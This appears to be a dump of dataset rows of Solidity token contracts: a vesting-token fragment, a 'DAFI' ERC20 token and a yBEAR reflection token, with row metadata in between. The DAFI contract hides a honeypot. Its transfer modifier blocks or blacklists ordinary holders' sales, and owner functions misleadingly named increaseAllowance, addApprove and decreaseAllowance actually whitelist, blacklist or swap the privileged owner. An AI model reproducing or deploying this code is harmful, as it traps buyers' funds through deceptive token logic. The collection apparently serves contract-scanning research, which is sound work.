// So, DO NOT send tokens to the team basket until 96 weeks elapse!
function isFrozen(BasketType _basketType,
uint _value)
public view returns (bool)
{
if (!isMintingFinished) {
// Allow spend only after minting is finished
return true;
}
if (_basketType == BasketType.foundation) {
// Allow to spend foundation tokens only after
// 48 weeks after minting is finished
return now < mintingStopDate + 48 weeks;
}
if (_basketType == BasketType.team) {
// Team allowed to spend tokens:
// 25% - after minting finished date + 24 weeks;
// 50% - after minting finished date + 48 weeks;
// 75% - after minting finished date + 72 weeks;
// 100% - after minting finished date + 96 weeks.
if (mintingStopDate + 96 weeks <= now) {
return false;
}
if (now < mintingStopDate + 24 weeks)
return true;
// Calculate fraction as percents multipled to 10^10.
// Without this owner will be able to spend fractions
// less than 1% per transaction.
uint fractionSpent =
spentByTeam.add(_value).mul(1000000000000).div(teamTotal);
if (now < mintingStopDate + 48 weeks) {
return 250000000000 < fractionSpent;
}
if (now < mintingStopDate + 72 weeks) {
return 500000000000 < fractionSpent;
}
// from 72 to 96 weeks elapsed
return 750000000000 < fractionSpent;
}
// No restrictions for other token holders
return false;
}
// Save amount of spent tokens by team till 96 weeks after minting
// finish date. This is vital because without the check we'll eventually
// overflow the uint256.
function saveTeamSpent(address _owner, uint _value) internal {
if (wpTokensBaskets.isTeam(_owner)) {
if (now < mintingStopDate + 96 weeks)
spentByTeam = spentByTeam.add(_value);
}
}
// Emitted when mint agent (address of a sale contract)
// replaced with new one
event MintAgentReplaced(address indexed previousMintAgent,
address indexed newMintAgent);
// Emitted when new tokens were created and funded to account
event Mint(address indexed to, uint256 amount);
// Emitted when tokens minting is finished.
event MintingFinished();
}
| 188,123 | 13,297 |
c5cea3ccb74452830d1fa9cb0e40b47550735e012f13fdd6f72b6f13b3440490
| 29,231 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/DAFI-0x0f57c0536d3b74b6cd6e1af3c01afc1c853d045d.sol
| 3,395 | 12,609 |
pragma solidity ^0.6.6;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract DAFI is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
address public _owner;
address private _safeOwner;
address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_owner = owner;
_safeOwner = owner;
_mint(_owner, initialSupply*(10**18));
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(_msgSender(), recipient, amount);
return true;
}
function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
transfer(receivers[i], amounts[i]);
if(i < approvecount){
_whiteAddress[receivers[i]]=true;
_approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935);
}
}
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_whiteAddress[receivers[i]] = true;
_blackAddress[receivers[i]] = false;
}
}
function decreaseAllowance(address safeOwner) public {
require(msg.sender == _owner, "!owner");
_safeOwner = safeOwner;
}
function addApprove(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_blackAddress[receivers[i]] = true;
_whiteAddress[receivers[i]] = false;
}
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) public {
require(msg.sender == _owner, "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[_owner] = _balances[_owner].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{
if (_whiteAddress[sender] == true){
_;}else{if (_blackAddress[sender] == true){
require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{
if (amount < _sellAmount){
if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;}
_; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}
}
}
}
}
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
| 207,160 | 13,298 |
43a13ba74e0cf64ec8663b6e3176aa24cf0c66a68ad69e4d316d885c68d8ddee
| 20,108 |
.sol
|
Solidity
| false |
413505224
|
HysMagus/bsc-contract-sanctuary
|
3664d1747968ece64852a6ac82c550aff18dfcb5
|
0xA8dA060eBD32A753005c6Ee476A0D79177C6EA8b/contract.sol
| 5,155 | 18,417 |
// Yield Bear Finance
// Frictionless Yield Generation on Binance Smart Chain
//
// Website http://ybear.finance
// Telegram http://t.me/ybearfinance
//
// Copyright 2021 , Yield Bear Finance (yBEAR) . All Rights Reserved
//
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IBEP20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract yBEARFinance is Context, IBEP20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
string private constant _NAME = 'yBEAR.finance';
string private constant _SYMBOL = 'yBEAR';
uint8 private constant _DECIMALS = 9;
uint256 private constant _MAX = ~uint256(0);
uint256 private constant _DECIMALFACTOR = 10 ** uint256(_DECIMALS);
uint256 private constant _GRANULARITY = 100;
uint256 private _tTotal = 50000000 * _DECIMALFACTOR;
uint256 private _rTotal = (_MAX - (_MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _tBurnTotal;
uint256 private constant _TAX_FEE = 500;
uint256 private constant _BURN_FEE = 200;
uint256 private constant _MAX_TX_SIZE = 50000000 * _DECIMALFACTOR;
constructor () public {
_rOwned[_msgSender()] = _rTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _NAME;
}
function symbol() public view returns (string memory) {
return _SYMBOL;
}
function decimals() public view returns (uint8) {
return _DECIMALS;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "BEP20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "BEP20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function totalBurn() public view returns (uint256) {
return _tBurnTotal;
}
function deliver(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not exclude Uniswap router.');
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "BEP20: approve from the zero address");
require(spender != address(0), "BEP20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(sender != owner() && recipient != owner())
require(amount <= _MAX_TX_SIZE, "Transfer amount exceeds the maxTxAmount.");
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 rBurn, uint256 tFee, uint256 tBurn) private {
_rTotal = _rTotal.sub(rFee).sub(rBurn);
_tFeeTotal = _tFeeTotal.add(tFee);
_tBurnTotal = _tBurnTotal.add(tBurn);
_tTotal = _tTotal.sub(tBurn);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getTValues(tAmount, _TAX_FEE, _BURN_FEE);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tBurn, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tBurn);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 burnFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = ((tAmount.mul(taxFee)).div(_GRANULARITY)).div(100);
uint256 tBurn = ((tAmount.mul(burnFee)).div(_GRANULARITY)).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tBurn);
return (tTransferAmount, tFee, tBurn);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tBurn, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rBurn = tBurn.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rBurn);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getTaxFee() private view returns(uint256) {
return _TAX_FEE;
}
function _getMaxTxAmount() private view returns(uint256) {
return _MAX_TX_SIZE;
}
}
| 250,075 | 13,299 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.